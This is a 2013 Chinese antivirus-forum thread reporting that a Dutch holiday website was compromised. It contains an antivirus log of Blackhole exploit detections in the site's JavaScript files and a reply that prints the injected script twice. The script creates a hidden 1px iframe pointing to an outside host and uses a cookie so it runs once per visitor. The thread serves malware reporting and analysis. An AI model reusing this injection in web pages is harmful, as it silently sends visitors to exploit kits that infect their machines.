查看: 784|回复: 3
收起左侧

[已鉴定] http://www.urlaub-in-holland.eu/【挂马by哀酱】

 关闭 [复制链接]
墨家小子
发表于 2013-4-16 13:28:07 | 显示全部楼层 |阅读模式
本帖最后由 wjhstu-VxG 于 2013-4-16 20:33 编辑

2013/4/16        13:27:17        已删除 (清理失败,因为该检测项不可清理)         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MI34JEK5\urlaub-in-holland_eu[1].htm        JS/Exploit-Blacole.ht (特洛伊)
2013/4/16        13:27:18        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D0PALDGF\pics[1].js        JS/Exploit-Blacole.eu (特洛伊)
2013/4/16        13:27:18        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D0PALDGF\prototype[1].js        JS/Exploit-Blacole.eu (特洛伊)
2013/4/16        13:27:18        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D0PALDGF\shadowbox[1].js        JS/Exploit-Blacole.eu (特洛伊)
2013/4/16        13:27:18        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D0PALDGF\cufon[1].js        JS/Exploit-Blacole.eu (特洛伊)
2013/4/16        13:27:18        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78FCVYUZ\Adobe_Garamond_Pro_400.font[1].js        JS/Exploit-Blacole.eu (特洛伊)
2013/4/16        13:27:18        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78FCVYUZ\TitilliumText22L_300-TitilliumText22L_500.font[1].js        JS/Exploit-Blacole.eu (特洛伊)
哀酱俏佳人
发表于 2013-4-16 13:36:58 | 显示全部楼层
function zzzfff(){
  var jf = document.createElement('iframe');
  jf.src = 'http://v143132.vhost.ceti.pl/import/esd.php';
  jf.style.position = 'absolute';
  jf.style.border = '0';
  jf.style.height = '1px';
  jf.style.width = '1px';
  jf.style.left = '1px';
  jf.style.top = '1px';
  if (!document.getElementById('jf')){
    document.write('<div id=\'jf\'></div>');
    document.getElementById('jf').appendChild(jf);
  }
}
function SetCookie(cookieName, cookieValue, nDays, path){
  var today = new Date();
  var expire = new Date();
  if (nDays == null || nDays == 0)nDays = 1;
  expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
  toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
  var start = document.cookie.indexOf(name + "=");
  var len = start + name.length + 1;
  if ((!start) && (name != document.cookie.substring(0, name.length))){
    return null;
  }
  if (start ==  - 1)return null;
  var end = document.cookie.indexOf(";", len);
  if (end ==  - 1)end = document.cookie.length;
  return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
  if (GetCookie('visited_uq') == 55){
  }
  else {
    SetCookie('visited_uq', '55', '1', '/');
    zzzfff();
  }
}



function zzzfff(){
  var z = document.createElement('iframe');
  z.src = 'http://v143132.vhost.ceti.pl/import/esd.php';
  z.style.position = 'absolute';
  z.style.border = '0';
  z.style.height = '1px';
  z.style.width = '1px';
  z.style.left = '1px';
  z.style.top = '1px';
  if (!document.getElementById('z')){
    document.write('<div id=\'z\'></div>');
    document.getElementById('z').appendChild(z);
  }
}
function SetCookie(cookieName, cookieValue, nDays, path){
  var today = new Date();
  var expire = new Date();
  if (nDays == null || nDays == 0)nDays = 1;
  expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
  toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
  var start = document.cookie.indexOf(name + "=");
  var len = start + name.length + 1;
  if ((!start) && (name != document.cookie.substring(0, name.length))){
    return null;
  }
  if (start ==  - 1)return null;
  var end = document.cookie.indexOf(";", len);
  if (end ==  - 1)end = document.cookie.length;
  return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
  if (GetCookie('visited_uq') == 55){
  }
  else {
    SetCookie('visited_uq', '55', '1', '/');
    zzzfff();
  }
}




就两个,一个挂了四次,一个挂了两次












wjhstu-VxG
发表于 2013-4-16 20:34:00 | 显示全部楼层
哀酱俏佳人 发表于 2013-4-16 13:36
就两个,一个挂了四次,一个挂了两次

你的战斗力 怎么 如此之强……
哀酱俏佳人
发表于 2013-4-16 21:53:44 | 显示全部楼层
wjhstu-VxG 发表于 2013-4-16 20:34
你的战斗力 怎么 如此之强……

怎么我还木有勋章
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-2 18:59 , Processed in 0.116692 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表